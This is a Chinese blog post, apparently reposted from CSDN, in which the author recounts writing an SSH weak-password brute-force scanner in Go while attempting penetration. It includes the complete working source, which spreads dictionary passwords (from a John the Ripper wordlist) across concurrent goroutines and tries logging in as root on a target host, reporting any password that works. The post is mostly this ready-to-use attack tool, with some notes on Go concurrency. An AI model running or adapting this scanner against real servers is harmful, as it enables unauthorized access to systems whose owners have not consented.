ssh弱口令扫描(golang版本)

winkar · · 2997 次点击 · · 开始浏览    
这是一个创建于 的文章,其中的信息可能已经有所发展或是发生改变。

0x00

尝试渗透的过程中,萌生了一点自己也写一点代码,不要老用别人的工具的念头。于是当这次我突发奇想要ssh弱口令扫描的时候,毫不犹豫就直接上手了。


0x01

扫描这种东西,单线程是对你计算机性能的侮辱。我上手就排除了C/C++这两个多线程写起来不怎么安逸的语言,直接选择了python。开头写着还很顺畅,等到真的运行起来时,我却发现了一个严重的问题:为什么Ctrl-C没有用?查了一通,balabala一大堆,总之是,python子线程跑时主线程被阻塞,所以sigINT也被阻塞,收不到信号的线程就毫不犹豫一直跑了下去。

倒也不是没有解决方案,只是我觉得这个设定实在是太傻太反人类了。我的思路便转向了一门源生支持并发的C系语言:go


0x10

不得不说由于对go并不是很熟悉,我在完成这短短几十行代码的过程中还是遇到了相当多的麻烦。

首先是对于go的ssh包的使用:godoc里面不知为何所有的代码都没有加上包名,我一时脑残也没意识到这里有问题,居然就不带包名这么往上写了。于是编译时一方面提示ssh包没用到,一方面提示Dial等几个标识符未定义……不过这个只能算是一时之失。

第二个错误就比较难看了,写python并发时子线程并不会随主线程结束而结束。到了go这里就不是这么一回事了。我倒不是没有想到这个问题,然而采取的解决方案很愚蠢……我使用了无限for循环妄图达到阻塞的效果。事实证明这不可能。

其三嘛,倒不是错误了。写python时线程间同步我通过锁来完成,在这个问题上go的表现实在是优雅而高端。channel同时起到了协程间通信和阻塞的功能,简单的代码就完成了这个功能。

其四,我为如何在所有goroutine跑完之后输出结束提示而困扰。一开始我在ReadPassword函数返回时输出,然而它返回时事实上还有些goroutine没跑完,于是乎就会额外输出一些,特别难看。后来我找到了sync包里的同步原语,解决了这个问题。

package main
import "code.google.com/p/go.crypto/ssh"
import "fmt"
import "bufio"
import "os"
import "strings"
import "sync"


var channal = make(chan string)
var w   sync.WaitGroup

func readPassword(pf *bufio.Reader){
    for{
        password,err := pf.ReadString('\n') 
        if err!=nil {
            close(channal)
            //print("scan finished,result not found\n")
            return
        }
        password = strings.TrimRight(password,"\n")
        channal <- password
    }
}

func ssh_login(hostname string, username string) {
    for{
        password,more:= <-channal
        if !more{
            w.Done()
            return
        }

        config := &ssh.ClientConfig{
            User: username,
            Auth: []ssh.AuthMethod{
                ssh.Password(password),
            },
        }
        _ , err := ssh.Dial("tcp", hostname, config)

        if err != nil {
            fmt.Printf("\033[33m[-]testing passowrd %s\tresult:Wrong\n\033[0m",password)
        } else{
            fmt.Printf("\033[32m[-]found password %s for root\n\033[0m",password)
            return 
        }
    }

}


func main(){
    if len(os.Args)<2 {
        fmt.Printf("[-]Usage %s [hostname:port]\n",os.Args[0])
        os.Exit(1)
    }


    hostname := os.Args[1]
    pf,err := os.Open("password.lst")
    if err!=nil {
        fmt.Println("[-]Dictionary needed")
        os.Exit(1)
    }
    bf := bufio.NewReader(pf)
    defer pf.Close()

    
    go readPassword(bf)
    fmt.Println("Scanning start!")
    for i:=1;i<20;i++ {
        w.Add(1)
        go ssh_login(hostname,"root")
    }
    
    w.Wait()
    print("scan finished,result not found\n")
    //var input string
    //fmt.Scanln(&input)
}



对go的熟悉程度谈不上高,所以代码肯定还有很多可以优化的地方。不过已经能完成基本的扫描弱口令的功能了。


PS1.需要使用弱口令字典,我使用的是john the ripper里自带的字典。

PS2.ssh包需要自行安装,go get + 包名

PS3.字符串中的”\033[33m“是用于在终端上配色的,以达到错误结果黄色输出,正确结果绿色输出的目的。


有疑问加站长微信联系(非本文作者)

本文来自:CSDN博客

感谢作者:winkar

查看原文:ssh弱口令扫描(golang版本)

入群交流(和以上内容无关):加入Go大咖交流群,或添加微信:liuxiaoyan-s 备注:入群;或加QQ群:692541889

2997 次点击  
加入收藏 微博
1 回复  |  直到 2021-02-06 22:45:16
暂无回复
添加一条新回复 (您需要 登录 后才能回复 没有账号 ?)
  • 请尽量让自己的回复能够对别人有帮助
  • 支持 Markdown 格式, **粗体**、~~删除线~~、`单行代码`
  • 支持 @ 本站用户;支持表情(输入 : 提示),见 Emoji cheat sheet
  • 图片支持拖拽、截图粘贴等方式上传